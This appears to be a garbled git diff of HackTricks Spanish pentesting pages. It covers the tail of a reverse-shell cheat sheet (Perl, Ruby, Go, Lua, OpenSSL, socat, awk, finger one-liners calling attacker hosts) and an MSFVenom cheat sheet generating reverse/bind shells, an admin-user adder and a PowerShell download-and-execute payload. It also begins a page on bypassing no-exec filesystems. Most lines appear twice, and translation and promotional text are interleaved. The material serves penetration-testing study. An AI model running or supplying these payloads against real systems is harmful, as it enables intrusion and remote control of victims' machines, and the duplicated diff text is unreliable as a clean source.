perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## Ruby ## Ruby
Ruby es un lenguaje de programación dinámico y de código abierto conocido por su simplicidad y productividad. Es ampliamente utilizado en el desarrollo web y es compatible con varias plataformas.
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -196,8 +191,6 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## Lua ## Lua
Lua es un lenguaje de programación poderoso, eficiente y ligero. Es ampliamente utilizado en la creación de scripts y en el desarrollo de aplicaciones. Lua es conocido por su facilidad de integración con otros lenguajes y por su flexibilidad.
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -255,7 +248,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
``` ```
El objetivo La Víctima
```bash ```bash
#Linux #Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -272,14 +265,12 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337 attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
``` ```
### Shell inverso ### Shell inversa
```bash ```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
## Awk ## Awk
Awk es un lenguaje de programación versátil que se utiliza comúnmente para el procesamiento y análisis de archivos de texto en sistemas Unix y Linux. Permite a los hackers automatizar tareas, extraer y manipular datos, y generar informes personalizados. Awk es especialmente útil para trabajar con archivos de registro y realizar operaciones basadas en patrones y acciones definidas por el usuario.
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
@ -289,7 +280,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
```bash ```bash
while true; do nc -l 79; done while true; do nc -l 79; done
``` ```
Para enviar el comando escríbalo, presione enter y luego presione CTRL+D (para detener STDIN) Para enviar el comando, escríbelo, presiona enter y presiona CTRL+D (para detener STDIN)
**Víctima** **Víctima**
```bash ```bash
@ -298,8 +289,6 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; s
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
``` ```
## Gawk ## Gawk
Gawk es una herramienta de procesamiento de texto muy poderosa que se puede utilizar para manipular y transformar datos en archivos de texto. Es especialmente útil para extraer información específica de archivos de registro o de salida de otros comandos.
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -328,7 +317,7 @@ Esto intentará conectarse a su sistema en el puerto 6001:
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
Para capturar la shell inversa puedes usar (que estará a la escucha en el puerto 6001): Para capturar el reverse shell puedes usar (que escuchará en el puerto 6001):
```bash ```bash
# Authorize host # Authorize host
xhost +targetip xhost +targetip
@ -351,22 +340,23 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# MSFVenom - Hoja de trucos # MSFVenom - CheatSheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Perspectivas de Hacking**\ **Hacking Insights**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Real-Time Hack News**\
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Latest Announcements**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
*** ***
## Msfvenom básico ## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>` `msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
También se puede usar `-a` para especificar la arquitectura o la `--platform` También se puede usar `-a` para especificar la arquitectura o `--platform`
## Listado ## Listing
```bash ```bash
msfvenom -l payloads #Payloads msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders msfvenom -l encoders #Encoders
@ -52,13 +53,15 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
``` ```
## **Windows** ## **Windows**
### **Shell Inverso** ### **Shell Inversa**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
``` ```
### Shell de Conexión {% endcode %}
### Shell de enlace
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -74,14 +77,12 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
``` ```
{% endcode %} {% endcode %}
### Shell de CMD ### Shell CMD
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
``` ```
{% endcode %}
### **Ejecutar Comando** ### **Ejecutar Comando**
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -89,8 +90,6 @@ msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ex
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
``` ```
{% endcode %}
### Codificador ### Codificador
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -99,7 +98,7 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco
``` ```
{% endcode %} {% endcode %}
### Incrustado dentro de un ejecutable ### Integrado dentro del ejecutable
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -107,7 +106,7 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
``` ```
{% endcode %} {% endcode %}
## Cargas útiles de Linux ## Cargas Útiles de Linux
### Shell Inverso ### Shell Inverso
@ -118,7 +117,7 @@ msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
``` ```
{% endcode %} {% endcode %}
### Shell de Conexión ### Shell de enlace
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -132,7 +131,9 @@ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port)
```bash ```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
``` ```
## **Cargas útiles de MAC** {% endcode %}
## **Cargas Útiles de MAC**
### **Shell Inverso:** ### **Shell Inverso:**
@ -142,7 +143,7 @@ msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ma
``` ```
{% endcode %} {% endcode %}
### **Shell de Conexión** ### **Shell de enlace**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -150,7 +151,7 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
``` ```
{% endcode %} {% endcode %}
## **Cargas útiles basadas en la web** ## **Cargas Útiles Basadas en la Web**
### **PHP** ### **PHP**
@ -186,7 +187,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
### WAR ### WAR
#### Shell Inverso #### Shell Inversa
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -217,8 +218,6 @@ msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw
{% endcode %} {% endcode %}
### **Bash** ### **Bash**
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
``` ```
@ -226,29 +225,30 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. ¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Ideas de Hacking**\ **Perspectivas de Hacking**\
Participa en contenido que explora la emoción y los desafíos del hacking. Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e ideas en tiempo real. Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma. Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy! **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Saltar las protecciones del sistema de archivos: solo lectura / sin ejecución / Distroless # Bypass FS protections: read-only / no-exec / Distroless
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Videos ## Videos
En los siguientes videos puedes encontrar las técnicas mencionadas en esta página explicadas más a fondo: In the following videos you can find the techniques mentioned in this page explained more in depth:
* [**DEF CON 31 - Explorando la Manipulación de Memoria en Linux para Sigilo y Evasión**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Intrusiones sigilosas con DDexec-ng e in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Escenario de solo lectura / sin ejecución ## read-only / no-exec scenario
Es cada vez más común encontrar máquinas Linux montadas con **protección de sistema de archivos de solo lectura (ro)**, especialmente en contenedores. Esto se debe a que ejecutar un contenedor con sistema de archivos ro es tan fácil como establecer **`readOnlyRootFilesystem: true`** en el `securitycontext`: It's more and more common to find linux machines mounted with **read-only (ro) file system protection**, specially in containers. This is because to run a container with ro file system is as easy as setting **`readOnlyRootFilesystem: true`** in the `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -44,48 +45,48 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección sin ejecución**, por lo que si descargas un binario aquí, **no podrás ejecutarlo**. However, even if the file system is mounted as ro, **`/dev/shm`** will still be writable, so it's fake we cannot write anything in the disk. However, this folder will be **mounted with no-exec protection**, so if you download a binary here you **won't be able to execute it**.
{% hint style="warning" %} {% hint style="warning" %}
Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no estén en el sistema (como puertas traseras o enumeradores como `kubectl`). From a red team perspective, this makes **complicated to download and execute** binaries that aren't in the system already (like backdoors o enumerators like `kubectl`).
{% endhint %} {% endhint %}
## Salto más fácil: Scripts ## Easiest bypass: Scripts
Ten en cuenta que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de python** si `python` está instalado. Note that I mentioned binaries, you can **execute any script** as long as the interpreter is inside the machine, like a **shell script** if `sh` is present or a **python** **script** if `python` is installed.
Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otras herramientas binarias que puedas necesitar ejecutar. However, this isn't just enough to execute your binary backdoor or other binary tools you might need to run.
## Saltos de Memoria ## Memory Bypasses
Si deseas ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es **ejecutándolo desde la memoria**, ya que las **protecciones no se aplican allí**. If you want to execute a binary but the file system isn't allowing that, the best way to do so is by **executing it from memory**, as the **protections doesn't apply in there**.
### Salto de llamada al sistema FD + exec ### FD + exec syscall bypass
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones, y luego llamar a una **llamada al sistema `exec`** indicando el **fd como el archivo a ejecutar**. If you have some powerful script engines inside the machine, such as **Python**, **Perl**, or **Ruby** you could download the binary to execute from memory, store it in a memory file descriptor (`create_memfd` syscall), which isn't going to be protected by those protections and then call a **`exec` syscall** indicating the **fd as the file to execute**.
Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificarlo y descomprimirlo** en un **fd** creado llamando a la llamada al sistema `create_memfd` y una llamada al sistema **exec** para ejecutarlo. For this you can easily use the project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). You can pass it a binary and it will generate a script in the indicated language with the **binary compressed and b64 encoded** with the instructions to **decode and decompress it** in a **fd** created calling `create_memfd` syscall and a call to the **exec** syscall to run it.
{% hint style="warning" %} {% hint style="warning" %}
